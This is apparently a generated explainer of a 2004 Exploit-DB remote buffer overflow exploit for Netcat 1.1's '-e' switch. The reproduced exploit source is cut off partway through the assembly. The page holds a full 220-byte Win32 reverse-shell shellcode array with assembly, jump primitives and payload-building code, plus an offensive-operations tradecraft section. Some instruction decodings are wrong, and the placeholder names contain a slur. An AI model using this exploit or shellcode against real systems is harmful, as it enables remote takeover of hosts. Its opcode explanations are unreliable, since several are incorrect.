Netcat 1.1 '-e' Switch Remote Buffer Overflow Explained

Netcat 1.1 '-e' Switch Remote Buffer Overflow Explained
What this paper is
This paper details a remote buffer overflow vulnerability in Netcat version 1.1, specifically related to its -e switch. The -e switch in Netcat allows for the execution of a program after a connection is established. The vulnerability allows an attacker to send a specially crafted network packet that overflows a buffer within Netcat when it's configured to use the -e switch. This overflow can lead to the execution of arbitrary code on the vulnerable Netcat server. The exploit provided aims to deliver a reverse shell to a specified attacker-controlled IP address and port.
Simple technical breakdown
Netcat, when used with the -e option, essentially acts as a conduit. It listens on a port, and upon receiving a connection, it executes a specified program, piping the network connection's input and output to that program.
The vulnerability lies in how Netcat handles the data it receives to construct the command that will be executed by the -e switch. It doesn't properly validate the size of the input, allowing an attacker to send more data than the buffer allocated for this command can hold. This excess data overwrites adjacent memory, including the instruction pointer, allowing the attacker to redirect program execution to their own malicious code (shellcode).
The provided exploit constructs a payload that:
- Connects to the vulnerable Netcat instance.
- Sends a large amount of data to trigger the buffer overflow.
- This overflow redirects execution to embedded shellcode.
- The shellcode then establishes a reverse connection back to the attacker's machine, providing a command shell.
Complete code and payload walkthrough
The provided C code (101_ncat.cpp) is an exploit for Netcat 1.1. It includes a shellcode payload and logic to construct and send the exploit packet.
C Code (101_ncat.cpp)
/*
Netcat v1.1, "-e" Switch, Remote Buffer Overflow Exploit v0.1
Homepage..........: http://www.securityfocus.com/tools/139/scoreit/
Affected versions.: v1.1
Fix...............: Actually none, Hobbit is warned 1 month+ ago, and looks like
to not act, we let him to spread a backdoor :)
Risk..............: Highly critical.
-Almost everything loaded as "nc ... -e ..." is vulnerable
-Educational tools such as the uw-imapd (http://www.washington.edu/imap/) contains no port listener,
if it's loaded with netcat (ie: nc -L -p 143 -t -e imapd.exe
25 -t -e pop3d.exe etc..vulnerable..)
this small example show you the large impact of this hole.
-Tools build on netcat , I guess are vulnerable , such as the netcat with
authentification or others tools based on netcat without a security check on src.
-Next time you run netcat -e , be sure of what you run because as said Hobbit,
the "-e" switch is really DANGEROUS!! :DDD
Compilation.......: 101_ncat.cpp ......... Win32 (MSVC,cygwin)
101_ncat.c ........... Linux (FreeBSD,etc..)
Greetings.........: Nima Majidi, Behrang Fouladi (cool teammates ;p)
DiabloHorn, kimatrix (KD-Team guys)
Nicolas Waisman, MMiller(skape), H.D Moore, BJWever (for the help)
Brett Moore (for all help and specially there
for suggesting me that way of MSVCRT.system call
; call system()
mov eax,1656E64h ; mov cmd + 01010101 to eax
sub eax,01010101h ; sub 01010101
push eax ; Push cmd on stack with our null byte :)
push esp ; Location to cmd
call ebp ; Call system()
via that way you can push on the stack "\x00"cmd without
breaking your payload.
Because in the public shellcode that he published on mailinglist
; Call system()
push 20646D63h ; Push cmd on stack, null exists from above
push esp ; Location to cmd
call ebp ; Call system()
Sure it's smaller to push direclty "\x20"cmd but
MSVCRT.system was also grabbing invalid unicode chars
before "\x20"cmd including esp pointing to cmd (windows bug ?:>)(on w2k sp4 server).
Else to bypass a bad char , I do a small change ,adding 6 nop,
to kick out "\x0A" bugging there for netcat and prolly more.
This to finally say that the size of the shellcode is now 220 bytes instead
of 205 (still awesome for a reversecmd generic win32 shellcode)
Tested working on W2k SP4,XP all SP. Excellent job by Brett Moore wich I throw all credits
because this shellcode is the brain of that exploit ;)
Extra.............: !All tests were made on nc.exe from http://www.securityfocus.com/tools/139/scoreit!
!All tests were made loading netcat: nc -L -p 143 -t -e c:\imapd.exe!
(hoping the processus wont change if you load differently netcat, I dont think, else update urself!
!See in the code if you need the shellcode in ASM format, really useful peace of code, thanx to bmoore and me!
!Don't use ip with #0 as '127.0.0.1' , this will break the payload.
Bug discovery.....: class101
Exploit code......: class101 at www.hat-squad.com - dfind.kd-team.com - #n3ws EFnet
Quizz.............: Wich crew is enough stupid to spread perl worm codes ?
K _ O _ i _
easy ;>
*/- Header Comments: These comments provide context about the exploit, its target (Netcat 1.1,
-eswitch), affected versions, risk assessment, compilation instructions, acknowledgments, and details about the shellcode's development and bypass techniques. It highlights that Netcat versions before a fix (which apparently didn't happen) are vulnerable. It also mentions that the-eswitch itself is inherently dangerous. - Includes: Standard C libraries (
stdio.h,string.h) and platform-specific socket libraries (winsock2.hfor Windows, varioussys/socket.hetc. for Linux/Unix). - Shellcode Definition:
This is the core malicious payload. It's a 220-byte Win32 shellcode designed to establish a reverse TCP connection and provide a command shell. The comments above it detail its evolution: starting at 205 bytes, expanded to 220 bytes with additions for null byte bypass, NOP sleds, and bug fixes.char scode[] = "\xEB\x21\x02\x01\x00\x00\x00\x00\x00\x00\x01\x4A\x36\x4D\x53\x56" // ... (rest of the shellcode bytes) ... "\x90"; - Platform-Specific Definitions:
This section defines Windows-specific structures and functions (#ifdef WIN32 WSADATA wsadata; #else #define Sleep sleep #define SOCKET int #define closesocket(s) close(s) #endifWSADATA,WSAStartup,WSACleanup) and provides aliases for POSIX equivalents (sleep,int,close) to make the code more portable between Windows and Linux/Unix. ver()andusage(char* us): These are helper functions to display version information and usage instructions for the exploit tool.main(int argc, char *argv[])Function: This is the entry point of the exploit program.- Version and Argument Check: Calls
ver()and then checks if the correct number of command-line arguments (5) is provided. It also validates theTargetargument (1 or 2). - IP and Port Initialization:
This section handles the attacker's IP (#ifndef WIN32 gip=inet_addr(argv[4])^(long)0x00000000; gport=htons(atoi(argv[5]))^(short)0x0000; #else if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup error\n");return -1;} gip=inet_addr(argv[4])^(ULONG)0x00000000; gport=htons(atoi(argv[5]))^(USHORT)0x0000; #endifargv[4]) and port (argv[5]). It uses XOR operations with0x00000000and0x0000respectively. This XORing with zero is a no-op and likely a remnant or a stylistic choice, as it doesn't change the value. Theinet_addrandhtonsfunctions convert the string IP and port into network byte order.WSAStartupis called on Windows to initialize the Winsock library. - Target IP and Port:
This section parses the target Netcat server's IP address (int ip=htonl(inet_addr(argv[2])), port=atoi(argv[3]), sz, sizeA, sizeB, sizeC, c, b, a; char *target, *os;argv[2]) and port (argv[3]).htonlconverts the IP to network byte order. Variables for payload construction (sz,sizeA,sizeB,sizeC,a,b,c) and pointers for the target's exploit primitive (target) and OS description (os) are declared. - Shellcode Patching:
This is a crucial step. Thememcpy(&scode[6], &gip, 4); memcpy(&scode[4], &gport, 2);scode(shellcode) is modified in place.&scode[6]to&scode[6+3](4 bytes) are overwritten with the attacker's IP address (gip). This tells the shellcode where to connect back to.&scode[4]to&scode[4+1](2 bytes) are overwritten with the attacker's port (gport). This tells the shellcode which port to connect back to.
- Target Primitive Selection:
Based on theif (atoi(argv[1]) == 1){target=jmpebx;os="Win2k SP4 Server English\n[+] Win2k SP4 Pro. English";} if (atoi(argv[1]) == 2){target=popopret;os="WinXP SP2 Pro. English\n[+] WinXP SP1a Pro. English\n[+] WinXP SP1 Pro. English";}Targetargument, thetargetpointer is set to eitherjmpebxorpopopret. These are small byte sequences representing different "jump to shellcode" primitives for different Windows versions and service packs, compensating for variations in memory layouts and exploitability.osstores a descriptive string for the targeted OS. - Socket Creation and Connection:
A TCP socket is created. ASOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server; s=socket(AF_INET,SOCK_STREAM,0); // ... connection logic ...sockaddr_instructure is populated with the target server's IP and port. Aconnect()call attempts to establish a connection to the vulnerable Netcat server. Aselect()call is used to wait for the connection to be established or timeout. - Payload Construction:
This is where the final exploit packet is assembled.printf("[+] connected, constructing the payload...\n"); #ifdef WIN32 Sleep(2000); #else Sleep(2); #endif sizeA=10; sizeB=228-sizeof(scode); sizeC=25; sz=10+227+3+4+8+25; // Note: 227 is likely a typo, should be 228 or sizeof(scode) memset(payload,0,sizeof(payload)); for (a=0;a<sizeA;a++){strcat(payload,"\x90");} // NOP sled strcat(payload,scode); // Patched shellcode for (b=0;b<sizeB;b++){strcat(payload,"\x90");} // NOP sled strcat(payload,jmp1); // Small jump strcat(payload,target); // Exploit primitive strcat(payload,jmp2); // Larger jump for (c=0;c<sizeC;c++){strcat(payload,"\x90");} // NOP sledsizeA(10 bytes) of NOPs (\x90) are prepended.- The patched
scode(shellcode) is appended. sizeBbytes of NOPs are added to fill space until the jump primitive. The calculation228-sizeof(scode)suggests the intended total buffer size for the overflow part is around 228 bytes.jmp1(\xeb\x07\x90) is a short jump instruction.target(eitherjmpebxorpopopret) is the sequence of bytes that redirects execution to the shellcode.jmp2(\x90\x90\x90\xe9\x07\xff\xff\xff) is a longer jump instruction, likely to ensure the execution flow lands correctly after the primitive.sizeC(25 bytes) of NOPs are appended at the end.
- Sending the Payload:
The constructedif (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");return -1;} // ... print success message ...payloadis sent over the connected socket. - Cleanup:
closesocket(s)andWSACleanup()(on Windows) are called to release resources.
- Version and Argument Check: Calls
Shellcode (scode)
The scode is a 220-byte Win32 shellcode. Its assembly source (bmoore.asm) is provided in the comments.
;*********************************** Christmas Shells***************************************
; Callback Shell.
; Directly set std handles and call system()
;
; 220 (DCh) bytes
;
; its not code, its antic0de
; and it works now too %-)
; Left it in tasm format.
; tasm32 -ml /m5 bmoore.asm
; tlink32 -Tpe -c -x bmoore.obj ,,, import32
;
;*********************************** Christmas Shells***************************************
; Jimminy jellicas its been jimplemented.
; Oddity,Dsp,Shammah,Santa Claus and the rest of the loco locals
; All the o/s peeps who know whats what.
;********************************************************************************************
;//bmoore
;
; Tested working on Win2k SP4 Server,Pro and WinXP SP1a Pro Eng.
;//class101
.586p
locals
.model flat, stdcall
extrn ExitProcess:PROC
extrn WSAStartup:PROC
extrn WSACleanup:PROC
.data
wsadescription_len equ 256
wsasys_status_len equ 128
WSAdata struct
wVersion dw ?
wHighVersion dw ?
szDescription db wsadescription_len+1 dup (?)
szSystemStatus db wsasys_status_len+1 dup (?)
iMaxSockets dw ?
iMaxUdpDg dw ?
lpVendorInfo dw ?
WSAdata ends
wsadata WSAdata <?>
.code
;****************************************************************************
; Winsock + copy to stack code
;****************************************************************************
start:
push offset wsadata
push 0101h
call WSAStartup
or eax, eax
jz winsock_found
jmp codeend
winsock_found:
mov ebx,offset realstart
sub esp,400h
mov eax,esp
Copyit:
mov cl,byte ptr [ebx]
mov byte ptr [eax],cl
inc eax
inc ebx
cmp ebx,offset codeend
jle Copyit
jmp esp
;****************************************************************************
; This is the start of the shell code
;****************************************************************************
realstart:
jmp over_data
sockdat db 02h,01h,00h,065h
db 07fh,00h,00h,01h
hashes db 01h
dw 364Ah
db "MSVCRT",01
dw 422Ah
dw 8AD4h
db "WS2_32",01
dw 817Ch
dw 4E2Ch
over_data:
push 0ACC3575Fh
call esp
mov esi,7ffdf00ch
lodsd
push dword ptr [esi]
mov esi,[eax + 1ch]
lodsd
mov edx,[eax + 08h]
push -8
lea ebx,[edi-8]
LookupFunctions:
push esp
pop ebp
mov ecx,dword ptr [edx + 3ch]
mov esi,dword ptr [ecx + edx + 78h]
lea esi,dword ptr [esi + edx + 1ch]
mov cl,3
StoreAddress:
lodsd
add eax,edx
push eax
loop short StoreAddress
SearchStart:
dec ebx
mov esi,dword ptr [ebp - 8]
xor eax,eax
push eax
Search:
push eax
lodsd
add eax,edx
xor ecx,ecx
hashy:
add cx,word ptr [eax]
add cl,byte ptr [eax]
inc eax
cmp byte ptr [eax],01
jge hashy
pop eax
inc eax
cmp cx,[ebx]
jne Search
pop esi
xchg esi,eax
dec esi
shl esi,1
add esi,dword ptr [ebp - 0ch]
lodsw
shl eax,2
add eax,dword ptr [ebp - 4h]
xchg esi,eax
lodsd
add eax,edx
stosd
dec ebx
cmp byte ptr [ebx],01h
jne short SearchStart
leave
dec byte ptr [ebx]
sub ebx,06h
;//bmoore
cmp byte ptr [ebx-1],01h
je short Done_Finding
;//class101
push ebx
call dword ptr [edi + ebp]
xchg edx,eax
push -16
dec ebx
jne short LookupFunctions
;//bmoore
nop
nop
nop
nop
nop
nop
;//class101
Done_Finding:
xchg eax,ebp
call [EDI - 10h]
xor ecx,ecx
push ecx
push ecx
push ecx
push ecx
inc ecx
push ecx
inc ecx
push ecx
call [EDI - 08h]
xchg ecx,edi
pop edi
add edi,18h
stosd
stosd
stosd
dec ebx
dec byte ptr [ebx]
dec ebx
push ebx
push ebx
push eax
call [ecx - 0ch]
mov eax,1656E64h
sub eax,01010101h
push eax
push esp
call ebp
nop
call WSACleanup
codeend:
end start
;//bmoorestart:: The entry point of the shellcode.- It first calls
WSAStartupto initialize the Winsock library, necessary for network operations. - If
WSAStartupfails, it jumps tocodeend(effectively exiting). - If successful, it copies itself from its current location (
realstart) into a buffer allocated on the stack (sub esp, 400h). This is a common technique to self-relocate and avoid issues with absolute addresses. - Finally, it jumps to the newly copied code on the stack (
jmp esp).
- It first calls
realstart:: This label marks the beginning of the shellcode after it has been copied to the stack.- Data Section:
sockdat,hashes, and other data are defined here. This includes strings like "MSVCRT" and "WS2_32", which are used to dynamically locate functions in loaded DLLs. over_data:: This section contains code that usescall espto push the address of the next instruction onto the stack and then immediatelypopit intoebp. This is a common way to get the current instruction pointer.- Function Resolution: The shellcode then proceeds to dynamically resolve the addresses of necessary Windows API functions (like
CreateProcess,Connect,Send,Recv,System, etc.) by parsing the PE headers of loaded DLLs (e.g.,kernel32.dll,ws2_32.dll,msvcrt.dll). It uses a hashing mechanism to find the correct function names.- It iterates through loaded modules, finds their export tables, and hashes function names to match against a predefined list.
- The
hashessection contains the hash values and corresponding function names (or parts of them) and their offsets. - The
LookupFunctionsandSearchloops are responsible for this dynamic resolution.
- Socket Creation and Connection:
- It creates a TCP socket.
- It uses the patched IP address and port (from the exploit's
memcpyoperations) to connect back to the attacker.
- Command Execution:
- The critical part for command execution is
mov eax,1656E64h; sub eax,01010101h; push eax; push esp; call ebp. This sequence, as explained in the comments, is a clever way to push a command string (like "cmd.exe") onto the stack and then callsystem()(which was resolved earlier and its address is likely inebpor a register derived from it). Thesub eax, 01010101his a technique to construct the string "cmd" without null bytes or other problematic characters that might be filtered by the vulnerable Netcat or the network.
- The critical part for command execution is
- Cleanup: Finally, it calls
WSACleanupto release Winsock resources.
- Data Section:
Exploit Primitive Bytes
jmpebx[]="\x73\x1c\x57\x7c";\x73:JMP EBX. This instruction jumps to the address currently held in the EBX register. In the context of an overflow, EBX would be overwritten with the address of the shellcode.\x1c\x57\x7c: These are likely part of the address that EBX would point to, or they are part of a larger jump sequence that leads to the shellcode. This primitive is noted as working for Win2k SP4.
popopret[]="\xb1\x2c\xc2\x77";\xb1:MOV CL, imm8. Loads an immediate byte into the CL register.\x2c: The immediate byte.\xc2:RETF. Far return.\x77: Likely part of the address.- This primitive is noted as working for WinXP SP2, SP1a, SP1. It likely involves popping values off the stack into registers and then executing a far return to the shellcode.
jmp1[]="\xeb\x07\x90";\xeb\x07:JMP rel8. A short jump instruction that jumps 7 bytes forward.\x90:NOP. No operation.- This is a small jump to skip over some initial bytes and land near the main exploit primitive.
jmp2[]="\x90\x90\x90\xe9\x07\xff\xff\xff";\x90\x90\x90: Three NOP instructions.\xe9\x07\xff\xff\xff:JMP rel32. A longer relative jump. The offset07ffffff(when interpreted as a signed 32-bit integer) indicates a jump backwards. This is likely used to jump from the end of the overflowed buffer (or the primitive) back to the start of the shellcode.
Mapping list: code fragment/block -> practical purpose
scode[]: The Win32 shellcode payload that establishes a reverse shell.&scode[6]to&scode[9]: Overwritten with attacker's IP address for the reverse shell connection.&scode[4]to&scode[5]: Overwritten with attacker's port for the reverse shell connection.jmpebx[]: Exploit primitive for Windows 2000 SP4, directing execution to the shellcode.popopret[]: Exploit primitive for Windows XP SP1/SP1a/SP2, directing execution to the shellcode.jmp1[]: Short jump to align execution flow before the exploit primitive.jmp2[]: Longer jump to ensure execution lands correctly on the shellcode after the primitive.payloadconstruction loop (for (a=0;a<sizeA;a++){strcat(payload,"\x90");}): Prepends NOPs to create a "NOP sled" for more reliable execution.strcat(payload,scode): Appends the patched shellcode.strcat(payload,jmp1); strcat(payload,target); strcat(payload,jmp2);: Appends the jump instructions and the exploit primitive that redirects execution to the shellcode.main()function: Orchestrates the exploit by connecting, constructing, and sending the payload.WSAStartup(): Initializes network functions on Windows.socket(),connect(): Establishes a TCP connection to the vulnerable Netcat server.send(): Transmits the crafted exploit payload.- Shellcode's
WSAStartup(): Initializes Winsock within the shellcode for its own network operations. - Shellcode's function resolution logic: Dynamically finds necessary WinAPI functions.
- Shellcode's
call system()sequence: Executes a command (e.g., "cmd.exe") on the target. - Shellcode's
WSACleanup(): Cleans up Winsock resources.
Practical details for offensive operations teams
- Required Access Level: Network access to the target machine's IP address and port where Netcat is listening. No local access is required for this remote exploit.
- Lab Preconditions:
- A vulnerable Netcat 1.1 instance running on a target Windows machine, configured with the
-eswitch (e.g.,nc -L -p 143 -t -e c:\windows\system32\cmd.exe). - An attacker-controlled machine with the exploit tool (
101_ncat.exe) and a listener (e.g.,nc -lvp <GayPORT>) ready to receive the reverse shell. - The exploit tool needs to be compiled for the target architecture (Win32).
- A vulnerable Netcat 1.1 instance running on a target Windows machine, configured with the
- Tooling Assumptions:
- Exploit Tool: A compiled version of
101_ncat.exe(or equivalent C code compiled with MSVC or Cygwin). - Listener: Netcat or a similar tool on the attacker's machine to receive the reverse shell.
- Target Netcat: Netcat 1.1 specifically, running with the
-eswitch.
- Exploit Tool: A compiled version of
- Execution Pitfalls:
- Version Mismatch: The exploit is highly version-specific. Using the wrong
targetprimitive (e.g.,jmpebxon XP) will likely result in a crash or no shell. - Firewalls/Network Segmentation: Network firewalls might block the initial connection to the Netcat server or the subsequent reverse shell connection back to the attacker.
- Netcat Configuration: The Netcat instance must be listening (
-L) and using the-eswitch. If Netcat is not running or not configured with-e, the exploit will fail. - IP Address/Port Issues:
- The exploit notes: "Don't use ip with #0 as '127.0.0.1' , this will break the payload." This implies that loopback addresses might cause issues with how the shellcode handles IP addresses, possibly due to null bytes or specific network stack behaviors.
- The
GayIPandGayPORTmust be reachable by the target machine.
- Antivirus/IDS: Modern antivirus or Intrusion Detection Systems might flag the exploit executable or the shellcode itself. The shellcode's size and the specific API calls it makes could be indicators.
- Buffer Size/Offset: The exact offset to the instruction pointer and the size of the overflow might vary slightly with different Netcat builds or minor OS patches, potentially requiring adjustments to the NOP sled lengths or the jump primitives.
select()Timeout: Theselect()call has a timeout of 3 seconds. If the connection is slow or the target is unresponsive, it might time out before the connection is fully established, leading to a false negative.
- Version Mismatch: The exploit is highly version-specific. Using the wrong
- Tradecraft Considerations:
- Reconnaissance: Identifying Netcat instances, especially those listening with
-e, is critical. Port scanning and banner grabbing might reveal Netcat. Further analysis of running processes on the target could confirm the use of-e. - Payload Delivery: The exploit tool itself needs to be delivered to the attacker's machine.
- Listener Setup: Ensure the attacker's listener is correctly configured and accessible from the target's network.
- Obfuscation: The shellcode is relatively simple. For stealth, it might need further obfuscation if detected by security controls.
- Post-Exploitation: Once a shell is obtained, the immediate goal is usually privilege escalation or lateral movement.
- Reconnaissance: Identifying Netcat instances, especially those listening with
Where this was used and when
- Timeframe: The exploit was published in December 2004. Exploits of this nature were common in the early to mid-2000s.
- Context:
- Vulnerable Software: Netcat version 1.1.
- Target Environment: Windows (specifically Win2k SP4 and WinXP SP1/SP1a/SP2 were tested).
- Attack Vector: Remote, network-based.
- Common Usage: This vulnerability would have been exploited against systems running Netcat 1.1 with the
-eswitch enabled. This was often done for legitimate purposes (like simple remote administration or testing) but was easily weaponized. The paper mentions educational tools likeuw-imapdbeing loaded with Netcat in this manner, highlighting how legitimate tools could become backdoors. - Attacker Motivation: Gaining unauthorized remote command execution.
Defensive lessons for modern teams
- Patching and Updates: The most fundamental lesson is to keep all software, especially network daemons like Netcat, updated to the latest stable versions. Netcat 1.1 is ancient and should not be in use.
- Principle of Least Privilege: Running network services with unnecessary privileges or with features like
-eenabled without strict necessity is dangerous. If Netcat must be used, it should be run with minimal privileges and ideally not exposed directly to the internet. - Network Segmentation and Firewalls: Restricting network access to services is crucial. Exposing Netcat, especially with the
-eswitch, to untrusted networks is a significant risk. Firewalls should block unnecessary ports and protocols. - Application Whitelisting: Implementing application whitelisting can prevent unauthorized executables (like shellcode or malicious versions of Netcat) from running.
- Intrusion Detection/Prevention Systems (IDS/IPS): Modern IDS/IPS can detect exploit attempts by analyzing network traffic for known malicious patterns, malformed packets, or suspicious shellcode signatures.
- Secure Configuration: Avoid using dangerous features like
-eunless absolutely necessary and thoroughly understood. If it must be used, ensure the executed command is safe and the context is controlled. - Process Monitoring: Monitoring running processes for unusual activity, such as unexpected
cmd.exeorpowershell.exeinstances spawned by network services, can indicate a compromise. - Endpoint Detection and Response (EDR): EDR solutions can detect the shellcode's behavior (e.g., dynamic API resolution, network connections, process creation) even if the exploit itself isn't directly signatured.
ASCII visual (if applicable)
This exploit involves a direct network connection and code execution on the target. A simple flow diagram can illustrate the process.
+-----------------+ +---------------------+ +---------------------+
| Attacker Machine| ----> | Vulnerable Netcat | ----> | Target OS (Windows) |
| (Exploit Tool) | | Server (Netcat 1.1) | | |
+-----------------+ +---------------------+ +---------------------+
| | (Receives Exploit Packet)
| (Sends Exploit Packet) |
| | (Buffer Overflow Occurs)
| v
| +---------------------+
| | Overwrites EIP/RIP |
| | Redirects to Shell |
| +---------------------+
| | (Executes Shellcode)
| v
| +---------------------+
| | Shellcode Runs |
| | (Winsock Init, |
| | Resolve APIs, |
| | Connect Back) |
| +---------------------+
| | (Establishes Reverse Shell)
| v
+-------------------------+
| Attacker Listener |
| (Receives Shell) |
+-------------------------+Source references
- Paper URL: https://www.exploit-db.com/papers/726
- Raw Exploit URL: https://www.exploit-db.com/raw/726
- Original Netcat: While not directly linked in the paper, the vulnerability is in Netcat. The paper mentions
nc.exefrom http://www.securityfocus.com/tools/139/scoreit/ as the source for the tested binary. - Shellcode Author: Brett Moore (@Security-Assessment.com) is credited for the shellcode.
- Exploit Author: class101.
Original Exploit-DB Content (Verbatim)
/*
Netcat v1.1, "-e" Switch, Remote Buffer Overflow Exploit v0.1
Homepage..........: http://www.securityfocus.com/tools/139/scoreit
Affected versions.: v1.1
Fix...............: Actually none, Hobbit is warned 1 month+ ago, and looks like
to not act, we let him to spread a backdoor :)
Risk..............: Highly critical.
-Almost everything loaded as "nc ... -e ..." is vulnerable
-Educational tools such as the uw-imapd (http://www.washington.edu/imap/) contains no port listener,
if it's loaded with netcat (ie: nc -L -p 143 -t -e imapd.exe
25 -t -e pop3d.exe etc..vulnerable..)
this small example show you the large impact of this hole.
-Tools build on netcat , I guess are vulnerable , such as the netcat with
authentification or others tools based on netcat without a security check on src.
-Next time you run netcat -e , be sure of what you run because as said Hobbit,
the "-e" switch is really DANGEROUS!! :DDD
Compilation.......: 101_ncat.cpp ......... Win32 (MSVC,cygwin)
101_ncat.c ........... Linux (FreeBSD,etc..)
Greetings.........: Nima Majidi, Behrang Fouladi (cool teammates ;p)
DiabloHorn, kimatrix (KD-Team guys)
Nicolas Waisman, MMiller(skape), H.D Moore, BJWever (for the help)
Brett Moore (for all help and specially there
for suggesting me that way of MSVCRT.system call
; call system()
mov eax,1656E64h ; mov cmd + 01010101 to eax
sub eax,01010101h ; sub 01010101
push eax ; Push cmd on stack with our null byte :)
push esp ; Location to cmd
call ebp ; Call system()
via that way you can push on the stack "\x00"cmd without
breaking your payload.
Because in the public shellcode that he published on mailinglist
; Call system()
push 20646D63h ; Push cmd on stack, null exists from above
push esp ; Location to cmd
call ebp ; Call system()
Sure it's smaller to push direclty "\x20"cmd but
MSVCRT.system was also grabbing invalid unicode chars
before "\x20"cmd including esp pointing to cmd (windows bug ?:>)(on w2k sp4 server).
Else to bypass a bad char , I do a small change ,adding 6 nop,
to kick out "\x0A" bugging there for netcat and prolly more.
This to finally say that the size of the shellcode is now 220 bytes instead
of 205 (still awesome for a reversecmd generic win32 shellcode)
Tested working on W2k SP4,XP all SP. Excellent job by Brett Moore wich I throw all credits
because this shellcode is the brain of that exploit ;)
Extra.............: !All tests were made on nc.exe from http://www.securityfocus.com/tools/139/scoreit!
!All tests were made loading netcat: nc -L -p 143 -t -e c:\imapd.exe!
(hoping the processus wont change if you load differently netcat, I dont think, else update urself!
!See in the code if you need the shellcode in ASM format, really useful peace of code, thanx to bmoore and me!
!Don't use ip with #0 as '127.0.0.1' , this will break the payload.
Bug discovery.....: class101
Exploit code......: class101 at www.hat-squad.com - dfind.kd-team.com - #n3ws EFnet
Quizz.............: Wich crew is enough stupid to spread perl worm codes ?
K _ O _ i _
easy ;>
*/
#include <stdio.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#else
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#endif
// GENERIC callback cmd execution shellcode
// by Brett Moore @ Security-Assessment.com
// 205 bytes + 8 bytes to bypass null byte problem spoke ealier. bmoore
// + 6 nop added to avoid bad char "\x0A". class101
// + 1 bytes of CMP&JMP instruction added to fix an important bug. class101
// (shellcode was spawning a shell if you use it locally,
// but access violation trying to spawn a shell on remote ip, now fixed.)
// = 220 bytes
char scode[] =
"\xEB\x21\x02\x01\x00\x00\x00\x00\x00\x00\x01\x4A\x36\x4D\x53\x56"
"\x43\x52\x54\x01\x2A\x42\xD4\x8A\x57\x53\x32\x5F\x33\x32\x01\x7C"
"\x81\x2C\x4E\x68\x5F\x57\xC3\xAC\xFF\xD4\xBE\x0C\xF0\xFD\x7F\xAD"
"\xFF\x36\x8B\x70\x1C\xAD\x8B\x50\x08\x6A\xF8\x8D\x5F\xF8\x54\x5D"
"\x8B\x4A\x3C\x8B\x74\x11\x78\x8D\x74\x16\x1C\xB1\x03\xAD\x03\xC2"
"\x50\xE2\xFA\x4B\x8B\x75\xF8\x33\xC0\x50\x50\xAD\x03\xC2\x33\xC9"
"\x66\x03\x08\x02\x08\x40\x80\x38\x01\x7D\xF5\x58\x40\x66\x3B\x0B"
"\x75\xE8\x5E\x96\x4E\xD1\xE6\x03\x75\xF4\x66\xAD\xC1\xE0\x02\x03"
"\x45\xFC\x96\xAD\x03\xC2\xAB\x4B\x80\x3B\x01\x75\xC6\xC9\xFE\x0B"
"\x83\xEB\x06\x80\x7B\xFF\x01\x74\x10\x53\xFF\x14\x2F\x92\x6A\xF0"
"\x4B\x75\x9B\x90\x90\x90\x90\x90\x90\x95\xFF\x57\xF0\x33\xC9\x51"
"\x51\x51\x51\x41\x51\x41\x51\xFF\x57\xF8\x87\xCF\x5F\x83\xC7\x18"
"\xAB\xAB\xAB\x4B\xFE\x0B\x4B\x53\x53\x50\xFF\x51\xF4\xB8\x64\x6E"
"\x65\x01\x2D\x01\x01\x01\x01\x50\x54\xFF\xD5\x90";
/*
bmoore.asm
;*********************************** Christmas Shells***************************************
; Callback Shell.
; Directly set std handles and call system()
;
; 220 (DCh) bytes
;
; its not code, its antic0de
; and it works now too %-)
; Left it in tasm format.
; tasm32 -ml /m5 bmoore.asm
; tlink32 -Tpe -c -x bmoore.obj ,,, import32
;
;*********************************** Christmas Shells***************************************
; Jimminy jellicas its been jimplemented.
; Oddity,Dsp,Shammah,Santa Claus and the rest of the loco locals
; All the o/s peeps who know whats what.
;********************************************************************************************
;//bmoore
;
; Tested working on Win2k SP4 Server,Pro and WinXP SP1a Pro Eng.
;//class101
.586p
locals
.model flat, stdcall
extrn ExitProcess:PROC
extrn WSAStartup:PROC
extrn WSACleanup:PROC
.data
wsadescription_len equ 256
wsasys_status_len equ 128
WSAdata struct
wVersion dw ?
wHighVersion dw ?
szDescription db wsadescription_len+1 dup (?)
szSystemStatus db wsasys_status_len+1 dup (?)
iMaxSockets dw ?
iMaxUdpDg dw ?
lpVendorInfo dw ?
WSAdata ends
wsadata WSAdata <?>
.code
;****************************************************************************
; Winsock + copy to stack code
;****************************************************************************
start:
push offset wsadata
push 0101h
call WSAStartup
or eax, eax
jz winsock_found
jmp codeend
winsock_found:
mov ebx,offset realstart
sub esp,400h
mov eax,esp
Copyit:
mov cl,byte ptr [ebx]
mov byte ptr [eax],cl
inc eax
inc ebx
cmp ebx,offset codeend
jle Copyit
jmp esp
;****************************************************************************
; This is the start of the shell code
;****************************************************************************
realstart:
jmp over_data
sockdat db 02h,01h,00h,065h
db 07fh,00h,00h,01h
hashes db 01h
dw 364Ah
db "MSVCRT",01
dw 422Ah
dw 8AD4h
db "WS2_32",01
dw 817Ch
dw 4E2Ch
over_data:
push 0ACC3575Fh
call esp
mov esi,7ffdf00ch
lodsd
push dword ptr [esi]
mov esi,[eax + 1ch]
lodsd
mov edx,[eax + 08h]
push -8
lea ebx,[edi-8]
LookupFunctions:
push esp
pop ebp
mov ecx,dword ptr [edx + 3ch]
mov esi,dword ptr [ecx + edx + 78h]
lea esi,dword ptr [esi + edx + 1ch]
mov cl,3
StoreAddress:
lodsd
add eax,edx
push eax
loop short StoreAddress
SearchStart:
dec ebx
mov esi,dword ptr [ebp - 8]
xor eax,eax
push eax
Search:
push eax
lodsd
add eax,edx
xor ecx,ecx
hashy:
add cx,word ptr [eax]
add cl,byte ptr [eax]
inc eax
cmp byte ptr [eax],01
jge hashy
pop eax
inc eax
cmp cx,[ebx]
jne Search
pop esi
xchg esi,eax
dec esi
shl esi,1
add esi,dword ptr [ebp - 0ch]
lodsw
shl eax,2
add eax,dword ptr [ebp - 4h]
xchg esi,eax
lodsd
add eax,edx
stosd
dec ebx
cmp byte ptr [ebx],01h
jne short SearchStart
leave
dec byte ptr [ebx]
sub ebx,06h
;//bmoore
cmp byte ptr [ebx-1],01h
je short Done_Finding
;//class101
push ebx
call dword ptr [edi + ebp]
xchg edx,eax
push -16
dec ebx
